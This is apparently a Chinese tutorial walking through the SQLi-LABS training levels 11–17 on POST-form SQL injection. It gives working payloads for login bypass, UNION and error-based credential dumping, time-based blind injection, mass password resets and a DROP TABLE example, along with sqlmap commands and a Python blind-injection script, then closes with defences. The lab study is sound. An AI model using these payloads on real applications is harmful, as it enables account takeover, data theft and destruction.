SQL-LABS_Less11-17_POST注入实战 SQL-LABS Less-11~17POST 注入实战完全指南目录POST 注入 vs GET 注入Less-11POST 单引号字符型注入Less-12POST 双引号括号注入Less-13POST 单引号括号注入无回显Less-14POST 双引号注入无回显Less-15POST 时间盲注Less-16POST 双引号括号时间盲注Less-17POST 密码重置注入防御方法1. POST 注入 vs GET 注入核心区别特性GET 注入POST 注入参数位置URL 查询字符串HTTP 请求体可见性浏览器地址栏可见不可见测试方式直接修改 URL需要工具Burp Suite / Hackbar / curl场景搜索框、商品详情页登录框、注册表单、密码修改为什么 POST 注入更隐蔽GET /Less-1/?id1 -- HTTP/1.1↑ URL 中的单引号会被浏览器历史、服务器日志记录POST /Less-11/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded unameadmin --passwd123↑ 单引号在请求体中日志通常不记录 POST body2. Less-11POST 单引号字符型注入目标通过登录框注入绕过认证并获取数据库信息环境分析访问http://192.168.43.8/sqli-labs-master/Less-11/看到标准登录页面用户名输入框密码输入框Submit 按钮正常登录测试输入Username: admin Password: admin结果登录成功显示 “admin” 用户信息关键思考后端 SQL 语句可能是SELECT*FROMusersWHEREusernameadminANDpasswordadmin注入测试Step 1判断注入点用户名输入admin密码随意页面报错You have an error in your SQL syntax near admin AND password LIMIT 0,1 at line 1分析看到admin→ 我们输入的单引号后面还有一个单引号闭合方式单引号闭合确认存在注入点Step 2注释掉后面的 SQL用户名admin --密码随意结果登录成功SQL 语句变化原始:SELECT*FROMusersWHEREusernameadminANDpassword123LIMIT0,1注入后:SELECT*FROMusersWHEREusernameadmin-- AND password123 LIMIT 0,1--后面的内容全部被注释密码验证被绕过Step 3判断列数用户名admin ORDER BY 3 --结果登录成功 → 至少 3 列用户名admin ORDER BY 4 --结果报错Unknown column 4 in order clause→ 只有 3 列结论表有 3 列Step 4寻找回显位置用户名admin UNION SELECT 1,2,3 --结果页面显示Your Login name: 1 Your Password: 2关键发现第 2、3 列可以回显Step 5获取数据库信息用户名admin UNION SELECT 1,database(),version() --结果Your Login name: security Your Password: 5.7.26用户名admin UNION SELECT 1,user(),datadir --结果Your Login name: rootlocalhost Your Password: C:\phpStudy\MySQL\data\Step 6获取所有表名用户名admin UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schemasecurity --结果Your Password: emails,referers,uagents,usersStep 7获取 users 表的列名用户名admin UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_nameusers --结果Your Password: id,username,passwordStep 8获取所有用户数据用户名admin UNION SELECT 1,2,group_concat(username,0x3a,password) FROM users --结果Your Password: Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4成功获取 13 个用户的账号密码3. Less-12POST 双引号括号注入目标识别不同的闭合方式注入过程Step 1判断闭合方式用户名admin报错near admin) AND password() LIMIT 0,1 at line 1分析看到admin)闭合方式)双引号右括号Step 2验证闭合用户名admin) --结果登录成功验证闭合正确Step 3后续步骤同 Less-11判断列数admin) ORDER BY 2 --✅判断列数admin) ORDER BY 3 --❌ → 只有 2 列找回显admin) UNION SELECT 1,2 --结果Your Login name: 1 Your Password: 2获取数据admin) UNION SELECT database(),version() --结果Your Login name: security Your Password: 5.7.26提取用户数据admin) UNION SELECT 1,group_concat(username,0x3a,password) FROM users --成功获取所有用户4. Less-13POST 单引号括号注入无回显目标学习在无数据回显情况下的报错注入环境分析访问 Less-13输入正确账号密码结果只显示一个笑脸图片没有任何文字回显这意味着✅ 可以判断登录成功/失败❌ 无法通过 UNION SELECT 回显数据注入策略报错注入Step 1判断闭合方式用户名admin报错near admin) AND password() LIMIT 0,1 at line 1分析闭合方式是)单引号右括号Step 2验证闭合用户名admin) --结果登录成功显示笑脸Step 3报错注入获取数据库名用户名admin) AND extractvalue(1,concat(0x7e,database())) --报错信息XPATH syntax error: ~security成功获取数据库名securityStep 4报错注入原理extractvalue() 函数extractvalue(XML文档,XPath路径)正常用法SELECTextractvalue(ahello/a,/a);-- 结果hello注入利用当 XPath 路径非法时会报错报错信息会包含我们的查询结果0x7e是~的十六进制作为分隔符Step 5获取表名用户名admin) AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemasecurity))) --报错XPATH syntax error: ~emails,referers,uagents,use注意报错注入有长度限制32字符数据被截断了解决方法使用LIMIT逐个获取admin) AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schemasecurity LIMIT 0,1))) --结果~emailsadmin) AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schemasecurity LIMIT 3,1))) --结果~usersStep 6获取列名用户名admin) AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 1,1))) --结果~usernameadmin) AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 2,1))) --结果~passwordStep 7获取用户数据用户名admin) AND extractvalue(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1))) --结果~Dumb:Dumb逐个获取所有用户修改 LIMIT 的偏移量即可关键技巧0x3a:作为分隔符concat()拼接用户名和密码LIMIT 0,1/LIMIT 1,1/LIMIT 2,1逐个获取5. Less-14POST 双引号注入无回显快速通关Step 1判断闭合用户名admin报错near admin AND password LIMIT 0,1 at line 1闭合方式双引号Step 2报错注入用户名admin AND extractvalue(1,concat(0x7e,database())) --结果~security用户名admin AND extractvalue(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1))) --结果~Dumb:Dumb后续步骤同 Less-136. Less-15POST 时间盲注目标学习在完全无回显、无报错的情况下注入环境分析输入admin --结果既不报错也不显示成功/失败信息只有一个图片这意味着❌ 无数据回显❌ 无报错信息❌ 无法判断 SQL 执行结果唯一可用的信息页面响应时间注入策略时间盲注Step 1判断闭合方式由于无报错需要用时间判断用户名admin AND sleep(5) --结果页面 5 秒后才返回 → 闭合正确用户名admin AND sleep(5) --结果立即返回 → 闭合错误结论闭合方式是单引号Step 2时间盲注原理核心函数sleep(秒数)SELECT*FROMusersWHEREusernameadminANDsleep(5)-- AND password如果 SQL 执行成功 →sleep(5)会执行 → 页面 5 秒后返回如果 SQL 语法错误 → 立即返回Step 3逐字符猜解数据库名思路猜测数据库名的第 1 个字符是否为 ‘s’如果是 → sleep(5) → 页面延迟如果不是 → 立即返回用户名admin AND IF(substr(database(),1,1)s,sleep(5),0) --结果延迟 5 秒 → 第 1 个字符是 ‘s’ ✅用户名admin AND IF(substr(database(),2,1)e,sleep(5),0) --结果延迟 5 秒 → 第 2 个字符是 ‘e’ ✅用户名admin AND IF(substr(database(),3,1)c,sleep(5),0) --结果延迟 5 秒 → 第 3 个字符是 ‘c’ ✅用户名admin AND IF(substr(database(),4,1)u,sleep(5),0) --结果延迟 5 秒 → 第 4 个字符是 ‘u’ ✅继续猜解…最终得到securityStep 4使用 ASCII 码优化用户名admin AND IF(ascii(substr(database(),1,1))100,sleep(5),0) --ascii(s) 115115 100 → 延迟 5 秒 ✅用户名admin AND IF(ascii(substr(database(),1,1))110,sleep(5),0) --115 110 → 延迟 5 秒 ✅用户名admin AND IF(ascii(substr(database(),1,1))115,sleep(5),0) --115 115 → 否 → 立即返回 ❌用户名admin AND IF(ascii(substr(database(),1,1))115,sleep(5),0) --115 115 → 延迟 5 秒 ✅确认第 1 个字符 ASCII 码为 115即 ‘s’Step 5获取数据库名长度用户名admin AND IF(length(database())8,sleep(5),0) --结果延迟 5 秒 → 数据库名长度为 8Step 6获取表名用户名admin AND IF(substr((SELECT table_name FROM information_schema.tables WHERE table_schemasecurity LIMIT 3,1),1,1)u,sleep(5),0) --结果延迟 5 秒 → users 表的第 1 个字符是 ‘u’ ✅手工时间盲注太慢建议用 SQLmap 自动化7. Less-16POST 双引号括号时间盲注快速通关Step 1判断闭合用户名admin) AND sleep(5) --结果延迟 5 秒 → 闭合方式是)✅Step 2时间盲注用户名admin) AND IF(substr(database(),1,1)s,sleep(5),0) --结果延迟 5 秒 → 数据库名第 1 个字符是 ‘s’ ✅后续步骤同 Less-15建议用 SQLmap8. Less-17POST 密码重置注入目标UPDATE 语句注入最危险的注入类型之一环境分析访问 Less-17看到密码重置页面用户名输入框新密码输入框Update Password 按钮输入Username: admin New Password: test123结果admin用户密码被修改为test123后端 SQL 语句UPDATEusersSETpasswordtest123WHEREusernameadmin注入测试Step 1判断注入点用户名admin新密码123报错You have an error in your SQL syntax near admin at line 1确认存在注入点Step 2判断闭合方式分析报错信息near admin→ 闭合方式是单引号Step 3危险操作 - 修改所有用户密码用户名admin --新密码hacked666SQL 语句变化原始:UPDATEusersSETpasswordhacked666WHEREusernameadmin--注入后:UPDATEusersSETpasswordhacked666WHEREusernameadmin----注释掉后面的单引号密码验证被绕过结果admin 用户密码被修改为 hacked666Step 4更危险 - 修改指定用户密码用户名admin WHERE usernamebatman --新密码hacked999SQL 语句UPDATEusersSETpasswordhacked999WHEREusernameadminWHEREusernamebatman--注意这会报错因为不能有两个 WHERE正确姿势用户名admin AND 12 UNION SELECT 1,2,3 WHERE usernamebatman --更简单的方法用户名batman --新密码hacked999直接就能改 batman 的密码Step 5危险操作 - 修改所有用户密码为同一个用户名admin OR 11 --新密码123456SQL 语句UPDATEusersSETpassword123456WHEREusernameadminOR11--结果所有用户的密码都被改成 123456为什么WHERE usernameadmin OR 1111永远为真所以所有记录都满足条件所有用户密码被修改Step 6报错注入获取数据用户名admin AND extractvalue(1,concat(0x7e,database())) --新密码随意报错XPATH syntax error: ~security获取其他用户的密码admin AND extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE usernamebatman))) --报错XPATH syntax error: ~mob!le成功获取 batman 的密码mob!leStep 7堆叠注入如果支持某些数据库支持用;分隔执行多条 SQL用户名admin; DROP TABLE users --SQL 语句UPDATEusersSETpasswordxxxWHEREusernameadmin;DROPTABLEusers--结果users 表被删除SQLi-LABS 不支持堆叠注入但实际环境可能支持9. 防御方法1. 预编译语句最有效错误示范Less-11 源码$sqlSELECT * FROM users WHERE username$uname AND password$passwd LIMIT 0,1;$resultmysql_query($sql);正确做法$stmt$pdo-prepare(SELECT * FROM users WHERE username? AND password? LIMIT 1);$stmt-execute([$uname,$passwd]);原理SQL 语句和参数分离数据库先编译 SQL 模板参数作为纯数据传入不会被解析为 SQL 代码2. 输入过滤与验证// 白名单验证if(!preg_match(/^[a-zA-Z0-9_]$/,$username)){die(非法用户名);}// 长度限制if(strlen($username)20){die(用户名过长);}3. 错误信息隐藏错误示范echomysql_error();// 直接输出数据库错误正确做法if(!$result){error_log(mysql_error());// 记录到日志die(系统错误请联系管理员);// 给用户显示通用错误}4. 最小权限原则-- 不要用 root 连接数据库CREATEUSERwebapplocalhostIDENTIFIEDBYpassword;GRANTSELECT,INSERT,UPDATEONsecurity.*TOwebapplocalhost;-- 不给 DELETE, DROP 权限5. WAFWeb 应用防火墙ModSecurity云 WAF阿里云、腾讯云自定义规则拦截union,select,sleep等关键字注意WAF 可被绕过不能作为唯一防御6. 代码审计工具SonarQube静态代码分析Fortify安全漏洞扫描人工审计定期 Code ReviewLess-11~17 总结对比关卡闭合方式注入类型回显方式难度Less-11联合查询注入页面回显⭐Less-12)联合查询注入页面回显⭐Less-13)报错注入报错信息⭐⭐Less-14报错注入报错信息⭐⭐Less-15时间盲注响应时间⭐⭐⭐Less-16)时间盲注响应时间⭐⭐⭐Less-17UPDATE 注入页面回显⭐⭐⭐⭐实战技巧总结1. 判断闭合方式的通用流程1. 输入 admin → 看报错信息中多余的符号 2. 输入 admin → 尝试双引号 3. 输入 admin) → 尝试单引号括号 4. 输入 admin) → 尝试双引号括号2. POST 注入工具选择工具适用场景难度Burp Suite抓包改包精确控制中Hackbar浏览器插件快速测试低curl命令行工具中SQLmap自动化注入低3. Burp Suite 使用流程打开 Burp → Proxy → Intercept is on浏览器设置代理 127.0.0.1:8080访问登录页面并提交Burp 抓到 POST 请求右键 → Send to Repeater修改unameadmin参数点击 Send 发送查看 Response 响应4. SQLmap POST 注入命令# 保存请求包到文件catless11.txtEOF POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.43.8 Content-Type: application/x-www-form-urlencoded unameadminpasswd123submitSubmit EOF# 自动注入sqlmap-rless11.txt-puname--dbs# 指定数据库获取表sqlmap-rless11.txt-puname-Dsecurity--tables# 获取 users 表数据sqlmap-rless11.txt-puname-Dsecurity-Tusers--dump5. 时间盲注优化脚本手工太慢用 Python 自动化importrequestsimporttime urlhttp://192.168.43.8/sqli-labs-master/Less-15/result# 猜解数据库名foriinrange(1,20):forcinabcdefghijklmnopqrstuvwxyz:payloadfadmin AND IF(substr(database(),{i},1){c},sleep(3),0) --data{uname:payload,passwd:123,submit:Submit}starttime.time()requests.post(url,datadata)endtime.time()ifend-start3:resultcprint(f[] 第{i}个字符:{c}| 当前结果:{result})breakelse:breakprint(f[] 最终结果:{result})关键知识点回顾POST vs GET 注入核心区别GET参数在 URL可见易测试POST参数在请求体隐蔽需工具三种注入类型对比类型条件速度难度联合查询有数据回显快低报错注入有报错信息中中时间盲注完全无回显慢高闭合方式识别技巧看报错信息中的多余符号admin→闭合admin→闭合admin)→)闭合admin)→)闭合UPDATE 注入的危险性可修改任意用户密码OR 11可修改所有记录可导致数据被篡改、删除危害等级极高⚠️ 法律声明本文内容仅供授权的安全测试和学习研究使用。严禁用于未授权的系统渗透非法获取他人数据破坏计算机信息系统违法后果根据《中华人民共和国网络安全法》和《刑法》第285、286条非法入侵计算机系统3年以下有期徒刑情节严重3-7年有期徒刑造成严重后果7年以上有期徒刑